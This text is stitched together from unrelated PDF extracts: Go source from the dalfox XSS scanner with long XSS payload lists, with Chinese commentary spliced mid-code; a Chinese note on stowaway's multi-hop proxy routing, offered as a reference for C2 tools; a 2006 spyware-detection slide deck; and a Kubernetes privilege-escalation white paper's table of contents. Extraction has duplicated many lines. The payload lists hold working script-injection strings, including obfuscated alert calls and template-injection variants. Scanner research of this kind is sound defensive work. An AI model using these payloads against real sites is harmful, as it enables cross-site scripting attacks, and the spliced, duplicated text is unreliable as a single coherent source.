for _, v := range payload {
tempPayload = append(tempPayload, "'"+v)
}
return tempPayload
}
return payload
}
func getInJsPayload(ip string) []string {
payload := []string{
"alert(DALFOX_ALERT_VALUE)",
"confirm(DALFOX_ALERT_VALUE)",
"prompt(DALFOX_ALERT_VALUE)",
"print(DALFOX_ALERT_VALUE)",
"</sCRipt><sVg/onload=alert(DALFOX_ALERT_VALUE)>",
"</scRiPt><sVG/onload=confirm(DALFOX_ALERT_VALUE)>",
"</sCrIpt><SVg/onload=prompt(DALFOX_ALERT_VALUE)>",
"</sCrIpt><SVg/onload=print(DALFOX_ALERT_VALUE)>",
"</sCriPt><ScRiPt>alert(DALFOX_ALERT_VALUE)</sCrIpt>",
"</scRipT><sCrIpT>confirm(DALFOX_ALERT_VALUE)</SCriPt>",
"</ScripT><ScRIpT>prompt(DALFOX_ALERT_VALUE)</scRIpT>",
"</ScripT><ScRIpT>print(DALFOX_ALERT_VALUE)</scRIpT>",
"window['ale'+'rt'](window['doc'+'ument']['dom'+'ain'])",
"this['ale'+'rt'](this['doc'+'ument']['dom'+'ain'])",
"self[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+
(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]])",
"globalThis[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!!
[]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);",
"parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain'])",
"top[/al/.source+/ert/.source](/XSS/.source)",
"frames[/al/.source+/ert/.source](/XSS/.source)",
"self[/*foo*/'prompt'/*bar*/](self[/*foo*/'document'/*bar*/]
['domain'])",
"this[/*foo*/'alert'/*bar*/](this[/*foo*/'document'/*bar*/]['domain'])",
"this[/*foo*/'print'/*bar*/](this[/*foo*/'document'/*bar*/]['domain'])",
"window[/*foo*/'confirm'/*bar*/](window[/*foo*/'document'/*bar*/]
['domain'])",
"{{toString().constructor.constructor('alert(DALFOX_ALERT_VALUE)')()}}",
"{{-function(){this.alert(DALFOX_ALERT_VALUE)}()}}",
}
if strings.Contains(ip, "none") {
var tempPayload []string
for _, v := range payload {
tempPayload = append(tempPayload, ";"+v+";//")
tempPayload = append(tempPayload, ";"+v+";")
tempPayload = append(tempPayload, v)
}
return tempPayload
}
if strings.Contains(ip, "double") {
var tempPayload []string
for _, v := range payload {
tempPayload = append(tempPayload, "\"+"+v+"//")
tempPayload = append(tempPayload, "\";"+v+"//")
tempPayload = append(tempPayload, "\"+"+v+"+\"")
tempPayload = append(tempPayload, "\"-"+v+"-\"")
tempPayload = append(tempPayload, "\""+v+"\"")
tempPayload = append(tempPayload, "\\\"+"+v+"//")
tempPayload = append(tempPayload, "\\\";"+v+"//")
tempPayload = append(tempPayload, "\\\"+"+v+"+\"")
tempPayload = append(tempPayload, "\\\"-"+v+"-\"")
tempPayload = append(tempPayload, "\\\""+v+"\"")
}
return tempPayload
}
if strings.Contains(ip, "single") {
var tempPayload []string
for _, v := range payload {
tempPayload = append(tempPayload, "'+"+v+"//")
tempPayload = append(tempPayload, "';"+v+"//")
tempPayload = append(tempPayload, "'+"+v+"+'")
tempPayload = append(tempPayload, "'-"+v+"-'")
tempPayload = append(tempPayload, "'"+v+"'")
tempPayload = append(tempPayload, "\\'+"+v+"//")
tempPayload = append(tempPayload, "\\';"+v+"//")
tempPayload = append(tempPayload, "\\'+"+v+"+'")
tempPayload = append(tempPayload, "\\'-"+v+"-'")
tempPayload = append(tempPayload, "\\'"+v+"'")
}
return tempPayload
}
if strings.Contains(ip, "backtick") {
var tempPayload []string
for _, v := range payload {
tempPayload = append(tempPayload, "${"+v+"}")
}
return tempPayload
}
return payload
}
func getDOMXSSPayload() []string {
payload := []string{
"<img/src/onerror=.1|alert`DALFOX_ALERT_VALUE`>",
";alert(DALFOX_ALERT_VALUE);",
"javascript:alert(DALFOX_ALERT_VALUE)",
}
return payload
}
func getDeepDOMXSPayload() []string {
payload := []string{
"<svg/OnLoad=\"`${prompt`DALFOX_ALERT_VALUE`}`\">",
"<img/src/onerror=.1|alert`DALFOX_ALERT_VALUE`>",
"alert(DALFOX_ALERT_VALUE)",
"prompt(DALFOX_ALERT_VALUE)",
"confirm(DALFOX_ALERT_VALUE)",
"print(DALFOX_ALERT_VALUE)",
其他
后面还有一些基于headless的检测,就是hook了alert,发payload,看能触发alert()函数吗。
然后就没有什么值得研究的了,这个代码能学习的就到此为止了。。也不建议使用,效率,误报,都很
高。
现在的xss扫描器应该怎么做,可以模仿xray的方式,先一个无害的随机字母,确定位置,根据位置组合
对应的payload,进行dom解析,如果解析变化了即可说明存在xss漏洞。全程没有payload,控制下速
率也不会触发waf。
我的一些研究:xss扫描器成长记
https://x.hacking8.com/post-371.html
我叫这种方式为基于语义的xss检测,并且也在w13scan上加入了对应的扫描模块
https://github.com/w-digital-scanner/w13scan
";alert(DALFOX_ALERT_VALUE);",
"javascript:alert(DALFOX_ALERT_VALUE)",
"java%0ascript:alert(DALFOX_ALERT_VALUE)",
"data:text/javascript;,alert(DALFOX_ALERT_VALUE)",
"<iMg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)>",
"\\x3ciMg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)\\x3e",
"\\74iMg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)\\76",
"\"><iMg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)>",
"\\x27\\x3E\\x3Cimg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)\\x3E",
"\\47\\76\\74img src=a oNerrOr=alert(DALFOX_ALERT_VALUE)\\76",
"\"><iMg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)>",
"\\x22\\x3e\\x3cimg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)\\x3e",
"\\42\\76\\74img src=a oNerrOr=alert(DALFOX_ALERT_VALUE)\\76",
"\"><iMg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)>",
"\\x27\\x3e\\x3cimg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)\\x3e",
"\\47\\76\\74img src=a oNerrOr=alert(DALFOX_ALERT_VALUE)\\76",
"1 --><iMg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)>",
"1 --\\x3e\\x3ciMg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)\\x3e",
"1 --\\76\\74iMg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)\\76",
"]]><iMg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)>",
"]]\\x3e\\x3ciMg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)\\x3e",
"]]\\76\\74iMg src=a oNerrOr=alert(DALFOX_ALERT_VALUE)\\76",
"</scrIpt><scrIpt>alert(DALFOX_ALERT_VALUE)</scrIpt>",
"\\x3c/scrIpt\\x3e\\x3cscript\\x3ealert(DALFOX_ALERT_VALUE)\\x3c/scrIpt\\x3e",
"\\74/scrIpt\\76\\74script\\76alert(DALFOX_ALERT_VALUE)\\74/scrIpt\\76",
}
return payload
} | pdf |
1
route分析
2022年5⽉21⽇15:07:15
最近在重构优化stowaway的代码,之前没有细看的header结构体的route字段的作⽤,实际上这个字段
就是⽤以实现多级代理中,和每个节点的通信的重要参数。
⼀般来说,不管是哪个node,发送消息给admin,Route⼀般只要设置成TEMP_ROUTE。当然Sender和
Accepter是⽤来判断发送者和接收者的UUID。
⽽这⾥不需要Route,是因为每个node只会有⼀个上游node和多个下游node,所以你发送给上游node
的时候,并不会迷路,只有⼀条路通往admin
2
⽽admin发送消息给某个多级node的时候,就需要路由帮忙了,虽然Sender、Accepter可以确认发送和
接收者,但某个节点在拿到消息的时候,并不能确定要发送给哪个下游node才能到达最终指定node。
如下admin要发送消息给node2,那node0怎么知道是应该发送给node1还是node4。
node0只知道他路由两个⼦节点,孙节点就不得⽽知了。
但是!作为admin,既然能打印如下拓扑图,那么他⾃然是有各个node之间的关系,只需要有⼀个包⽤
来管理node信息就⾏,他也确实是这么做的。
3
有⼀个topology包⽤来做node管理。通过把指定node的UUID发送给topology,则可获取到他对应的
route。(以下是通过channel来通信的,为了线程安全)
⾄于topology内部的实现,有兴趣的可以仔细看看
⽽route的格式是怎样的呢,如下,在⼀个node接收到消息,发现不是发送给⾃⼰,分发给childNode
时,route是⽤冒号隔开,以每个node的UUID作为标识拼接起来,我要发送的最终node的UUID在
Accepter⾥,刚好Route⾥最后⼀个UUID也是。
4
这⾥调⽤changeRoute,来提取下⼀跳node的UUID,并在在Route⾥删除,这样每⼀跳,只需要把
Route⾥最前⾯的UUID提取出来,就是⾃⼰要发送的childNode。
5
通过UUID获取childNode的conn连接对象,从⽽可以把消息成功发送给路由指定下的childNode。
6
通过每⼀跳从Route⾥提取最开头的UUID来找到需要发送给的childNode,并删除Route⾥最开头UUID,
来实现多级代理之间的数据传递,这种⽅式好的地⽅就是每个node他⽆需知道孙node是谁,只需要根据
Route来判断,直到Accepter是⾃⼰,就不需要往childNode传递了。
以上只是提供⼀个思路吧,不管是做多级代理⼯具还是C2,都可以做参考。 | pdf |
HIT2006
HIT2006
Spyware Detection :
Spyware Detection :
Automated Behavior Analysis System
Automated Behavior Analysis System
Birdman
Birdman
2006
2006--07
07--16
16
XX--Solve
Solve
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
2
Abstract
Abstract
分析目前流行的
分析目前流行的Spyware
Spyware設計手法與運作模型。並介紹我
設計手法與運作模型。並介紹我
們所開發的自動化的惡意程式行為分析系統與整合型
們所開發的自動化的惡意程式行為分析系統與整合型
Spyware
Spyware偵察工具,用來協助資安人員研究新的
偵察工具,用來協助資安人員研究新的Spyware
Spyware與
與
惡意程式行為模型。
惡意程式行為模型。
Birdman
Birdman
[email protected], XX--Solve
Solve
Our WebSite →Http://x-solve.com/blog
Column Writer
http://www.informationsecurity.com.tw
MSDN Flush Writer
http://www.microsoft.com/taiwan/msdn
勇
勇
X-Solve, Inc. is a company focusing on
developing IT Security technology for the
reliable and high assurance detection and
eradication of Spyware and Rootkit.
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
3
Outline
Outline
What is Spyware?
What is Spyware?
The Malicious Behavior Models of Spyware
The Malicious Behavior Models of Spyware
Strategy of Spyware Analysis and Detection
Strategy of Spyware Analysis and Detection
Archon Scanner
Archon Scanner -- Spyware Detection Tools
Spyware Detection Tools
Archon Analyzer
Archon Analyzer -- Automated Malicious Behavior Analyzer
Automated Malicious Behavior Analyzer
Conclusion
Conclusion
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
4
What is Spyware?
What is Spyware?
Definition
Definition
Spyware is considered a malicious program in that users
unwittingly install the product when they install something else.
There are two types of Spyware.
There are two types of Spyware.
Commercial Purpose
This type Spyware do track your surfing habits in order to serve ads
related to user.
Adware, Browser Hijacker or other unwanted software
Invasive Purpose
This type is designed for hacker, they are more malicious than
another type. Hacker utilizes them to collect private data of the
certain victims or penetrate into computer system.
Trojan Horse, Backdoor, key-logger, Rootkit and other hacking tools.
Now, we will
discuss this one in
the following slices.
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
5
Virus VS. Spyware
Virus VS. Spyware
Virus VS. Spyware
Virus
Virus
Spyware
Spyware
The Difference Between Virus & Spyware?
The Difference Between Virus & Spyware?
Active and Large
Active and Large--scale Attack
scale Attack
Low Mutation
Low Mutation
No Specific Target and Localization
No Specific Target and Localization
Do Destruction
Do Destruction
Passive, Small
Passive, Small--scale and Stealth
scale and Stealth
High Mutation, Customize
High Mutation, Customize
Specific Target, Localization
Specific Target, Localization
Do Information Collection
Do Information Collection
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
6
The Malicious Behavior Models of Spyware
The Malicious Behavior Models of Spyware
Traditional Spyware Behavior
Traditional Spyware Behavior
Spyware exists as independent executable programs
Modern Spyware Behavior
Modern Spyware Behavior
EXE
DLL
DLL
EXE
EXE
SYS
SYS
Shellcode
Shellcode
Traditional Spyware
Modern Spyware
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
7
Case Study 1 : DLL Injection
Case Study 1 : DLL Injection
This one is a kind of DLL Injection Spyware. It
This one is a kind of DLL Injection Spyware. It
will inject a DLL into
will inject a DLL into Explorer.exe
Explorer.exe and IE.
and IE.
Oh YA! ^_^
Really Happy
Oh YA!
Oh YA! ^_^
^_^
Really Happy
Really Happy
Spyware Dropper
Comph.dll
Comph.dll
Comph.dll
Comph.dll
Comph.dll
Comph.dll
Comph.dll
Comph.dll
Comph.dll
Drop Spyware (
Drop Spyware (comph.dll
comph.dll))
Inject DLL into Explorer
Inject DLL into Explorer
Explorer Create invisible IE Process
Explorer Create invisible IE Process
Inject DLL into IE
Inject DLL into IE
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
8
Spyware Behavior
Spyware Behavior
EXE or Process are insufficient !
EXE or Process are insufficient !
Different from traditional Spyware, the sophisticated Spyware
have not just one EXE. They appear many executable types,
such as DLL, SYS even Shellcode.
It one of reason that make Anti-Virus sucks!
Common Malicious Behavior consists of three units
Common Malicious Behavior consists of three units
Deployment Unit
Launch Unit
Core Unit
Remote-Control
Data Collection
Self-Protection
Other malicious behavior
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
9
Common Malicious Behavior Model
Common Malicious Behavior Model
Deployment Unit
Deployment Unit
Deployment Unit
Core Unit
Core Unit
Core Unit
Launch Unit
Launch Unit
Launch Unit
Window Startup
Window Startup
Drop Files
Launch
Modify System Settings or Files
Trigger
Malicious Behavior : Collect and Upload
Malicious Behavior : Collect and Upload Data, Rootkit Function
Data, Rootkit Function…
… All
All ““阿里不達
阿里不達”” things
things
They are so
They are so--
called Droppers.
called Droppers.
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
10
Strategy of Spyware Analysis and Detection
Strategy of Spyware Analysis and Detection
There are three types for Spyware Detection.
There are three types for Spyware Detection.
Before Execution
On Execution
After Execution
Static Analysis
Static Analysis
Before Execution
Before Execution
Signature Detection
Signature Detection
Anti-Virus, Reversing Tools
Integrity Monitor
Integrity Monitor
On Execution
On Execution
Behavior Monitor
Behavior Monitor
Anti-Virus, HIPS
Integrity Check
Integrity Check
After Execution
After Execution
Cross
Cross--View Check
View Check
Forensic Tools, Scanner
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
11
Spyware Detection
Spyware Detection -- Archon Scanner
Archon Scanner
Rootkit Detection
Rootkit Detection
DLL Injection Backdoor Detection
DLL Injection Backdoor Detection
Malicious Behavior Analysis
Malicious Behavior Analysis
Zero Deployment
Zero Deployment
No monitor program need to install
No training for baseline
A Forensic tool for Scanning Spyware
A Forensic tool for Scanning Spyware
Download Trial Version Archon
Download Trial Version Archon (2006
(2006--0701 ~ 0730)
0701 ~ 0730)
http://x-solve.com/Products/Archon_Scanner/Trial/Snapshot/Archon_1.JPG
http://x-solve.com/Products/Archon_Scanner/Trial/Snapshot/Archon_2.JPG
http://x-solve.com/Products/Archon_Scanner/Trial/ArchonScanner_1.0_Preview.zip
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
12
Spyware Detection
Spyware Detection -- Archon Scanner
Archon Scanner
Spyware Domain View
Spyware Domain View
Different form other commercial Spyware Scanners, Archon Scanner is
designed of Spyware domain view, we use over 25 aspects as malicious
behavior features to analyze unknown Spyware or Rootkit.
Major Malicious Behavior Features
Major Malicious Behavior Features
Hidden Process Detection
Hidden Process Detection
Kernel Hooking Detection (SSDT Hook)
Kernel Hooking Detection (SSDT Hook)
User Mode Global API
User Mode Global API--Hooking Detection
Hooking Detection
Hidden Registry Key Detection
Hidden Registry Key Detection
Malicious DLL Injection Analysis
Malicious DLL Injection Analysis
Raw Socket Detection
Raw Socket Detection
LDR Modification Tricks Detection
LDR Modification Tricks Detection
Message Hooker Detection
Message Hooker Detection
Archon Scanner focus on the user mode Spyware detection.
Archon Scanner focus on the user mode Spyware detection.
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
13
OS Kernel
OS Kernel
Spyware Inspection of Archon Scanner
Spyware Inspection of Archon Scanner
Process C
Process C
Process C
DLL
DLL
DLL
DLL
DLL
DLL
Process B
Process B
Process B
DLL
DLL
DLL
DLL
DLL
DLL
Process A
Process A
Process A
DLL
DLL
DLL
File & Registry
File & Registry
Static Data
Static Data
Sensor
Sensor
Sensor
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
14
Rootkit Detection
Rootkit Detection
Against Hooking
Against Hooking
There are many Hooking approaches in the world, but we just focus on
the major tricks which are popular among Spyware writers.
Kernel Mode Hook : SSDT Hooking
User Mode Hook : IAT Hooking, EAT Hooking, Inline Hooking
Hidden Process Detection
Hidden Process Detection
We use the “Process Handle Tracking Approach” to detect all kind of
hidden processes, such as Hxdef, Fu, AFX, vanquish or other Rootkits.
In next version Archon, we will add new approach to detect hidden
process by FuTo.
Hidden Objects are easy to discover with Cross
Hidden Objects are easy to discover with Cross--View approach
View approach..
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
15
How to find out injected DLL?
How to find out injected DLL?
Theoretically, it is impossible to determine which
Theoretically, it is impossible to determine which
DLL is injected in a process without behavior
DLL is injected in a process without behavior
monitor. Because, all the important evidence
monitor. Because, all the important evidence
were disappear after injection.
were disappear after injection.
Other Clues
Other Clues
Find out all explicit load DLLs with LDR Information
PEB -> LDR Table
IAT Scanning
Malicious PE Check : Packer Analysis
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
16
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
17
Element of Intrusion Detection System
Element of Intrusion Detection System
There are many IDS around us.
There are many IDS around us.
Guard → Person
NIDS → IP (Session)
Anti-Virus → File
HIPS/Personal Firewall → Process
How about DLL Injection
DLL Injection Spyware?
How about Code Injection
Code Injection Spyware?
How about Kernel mode
Kernel mode Spyware?
How about Rootkit
Rootkit!!?
We need more precise answers !
We need more precise answers !
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
18
Malicious Behavior Set
Malicious Behavior Set
In order to cover all the malicious behavior, including remote
threading and DLL injection. We track the relationship of
process and thread to identify the “Malicious Behavior Set.”
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
19
Automated Malicious Behavior Analyzer
Automated Malicious Behavior Analyzer
We need an automated analyzer to profile
We need an automated analyzer to profile
malicious behavior of Spyware.
malicious behavior of Spyware.
Implementation
Implementation
To Capture all the user mode Spyware behavior, we
have developed a pure Kernel mode monitor, Archon
Archon
Analyzer
Analyzer.
Behavior Monitor:
Process and Thread Tracking
Process and Thread Tracking
File Dropping Monitor
File Dropping Monitor
Remote Threading Monitor
Remote Threading Monitor
Process Memory Access Monitor
Process Memory Access Monitor
Registry Access Monitor
Registry Access Monitor
Networking Monitor
Networking Monitor
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
20
Virtual Lab For Spyware Analysis
Virtual Lab For Spyware Analysis
Virtual Lab = Archon Analyzer + VM Sandbox
Virtual Lab = Archon Analyzer + VM Sandbox
Automated ! Efficient !
Automated ! Efficient !
VM Sandbox
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
21
DLL Injection !!
Inject to IE and
spoolsv.exe
DLL Injection !!
DLL Injection !!
Inject to IE and
Inject to IE and
spoolsv.exe
spoolsv.exe
Driver !!
Rootkit??
Driver !!
Driver !!
Rootkit??
Rootkit??
Drop EXE,
shell32.exe and
xyztmp2.exe
Drop EXE,
Drop EXE,
shell32.exe and
shell32.exe and
xyztmp2.exe
xyztmp2.exe
Winlogon Notification !!
Wlogntiy.dll (Autorun!)
Winlogon
Winlogon Notification
Notification !!!!
Wlogntiy.dll
Wlogntiy.dll ((Autorun
Autorun!)!)
Case Study 2
Case Study 2 -- (1/2)
(1/2)
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
22
Archon Analyzer also records the traffic of TCP, UDP and ICMP.
Archon Analyzer also records the traffic of TCP, UDP and ICMP.
DNS Query
DNS Query
DNS Query
Query:
www.baidu.com ?
Query:
Query:
www.baidu.com
www.baidu.com ??
Case Study 2
Case Study 2 -- (2/2) Network Traffic Recording
(2/2) Network Traffic Recording
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
23
Case Study 3 : Code Inject
Case Study 3 : Code Inject
In this case, we will reveal some sophisticated tricks
In this case, we will reveal some sophisticated tricks
about code injection. It never drop any files into disk.
about code injection. It never drop any files into disk.
That is why they are so difficult to detect!
That is why they are so difficult to detect!
Shellcode
Shellcode
EXE File
EXE File
Shellcode
Shellcode
EXE File
EXE File
It overwrite the IE
memory directly with a
whole EXE image.
It overwrite the IE
It overwrite the IE
memory directly with a
memory directly with a
whole EXE image.
whole EXE image.
Anti-Virus : No File to Detect !! Orz
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
24
Case Study 3 : Behavior Analysis (1/2)
Case Study 3 : Behavior Analysis (1/2)
Drop EXE
Drop EXE
Drop EXE
Copy a whole EXE
Image into IE
Copy a whole EXE
Copy a whole EXE
Image into IE
Image into IE
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
25
Case Study 3 : Behavior Analysis (2/2)
Case Study 3 : Behavior Analysis (2/2)
DNS Query:
kimo.2288.org
ns1.3322.net
DNS Query:
DNS Query:
kimo.2288.org
kimo.2288.org
ns1.3322.net
ns1.3322.net
Spyware Log file
Spyware Log file
Spyware Log file
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
26
Scanner VS. Analyzer
Scanner VS. Analyzer
Archon Scanner
Archon Scanner
Work In the wild
Work In the wild
It works in the uncontrolled environment.
Focus on find out unknown malicious software
Behavior Scanner
Forensic Tool
Archon Analyzer
Archon Analyzer
Work In the zoo
Work In the zoo
Focus on analyze malicious behavior of certain target.
Behavior Monitor
Software Malicious Behavior Testing Tool
Lab Tool
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
27
Conclusion
Conclusion
The danger of Spyware is very real, and Rootkit
The danger of Spyware is very real, and Rootkit
technology is the latest trend in hiding Spyware from
technology is the latest trend in hiding Spyware from
users and Anti
users and Anti--Spyware software. Stealing of information
Spyware software. Stealing of information
and compromise of private data can continue unnoticed
and compromise of private data can continue unnoticed
for days, weeks and sometimes months. Through
for days, weeks and sometimes months. Through
personal policies and the latest technology, you can
personal policies and the latest technology, you can
actively protect your company's network, and take a
actively protect your company's network, and take a
stand against
stand against Malware
Malware..
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
28
Q&A&THX
Q&A&THX
Automated Behavior Analysis Approach, Birdman, HIT2006
Automated Behavior Analysis Approach, Birdman, HIT2006
29
Greez
Greez
All the great Rootkit hackers on Earth.
Mr. SSCAN, ICST
Archon Team, X-Solve
And all my friends ☺ | pdf |
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
1
Kubernetes Privilege
Escalation: Excessive
Permissions in
Popular Platforms
2
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
Table of Contents
Foreword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Executive Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
RBAC Misconfigurations are Easy to Miss . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
Powerful Permissions are Widespread . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
Excessive Permissions Lead to Impactful Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
RBAC Misconfigurations are Solvable . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .5
Role-Based Access Control 101 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Classifying Powerful Kubernetes Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
Acquire Tokens . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .8
Remote Code Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .8
Manipulate Authentication/Authorization (AuthN/AuthZ) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .8
Steal Pods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .8
Meddler-in-the-Middle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .9
Container Escapes and Powerful DaemonSets: A Toxic Combination . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Aren’t Nodes Powerful by Default? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .10
Powerful DaemonSets in Popular Kubernetes Platforms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
Container Escape Blast Radius . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
Powerful Kubelets in Popular Platforms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
Fixes and Mitigations by Affected Platforms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
Toward Better Node Isolation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
Identifying Powerful Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
rbac-police . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
Checkov . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Recommendations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Detecting Attacks with Admission Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Suspicious SelfSubjectReviews . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Suspicious Assignment of Controller Service Accounts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
About . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Prisma Cloud . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Unit 42 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
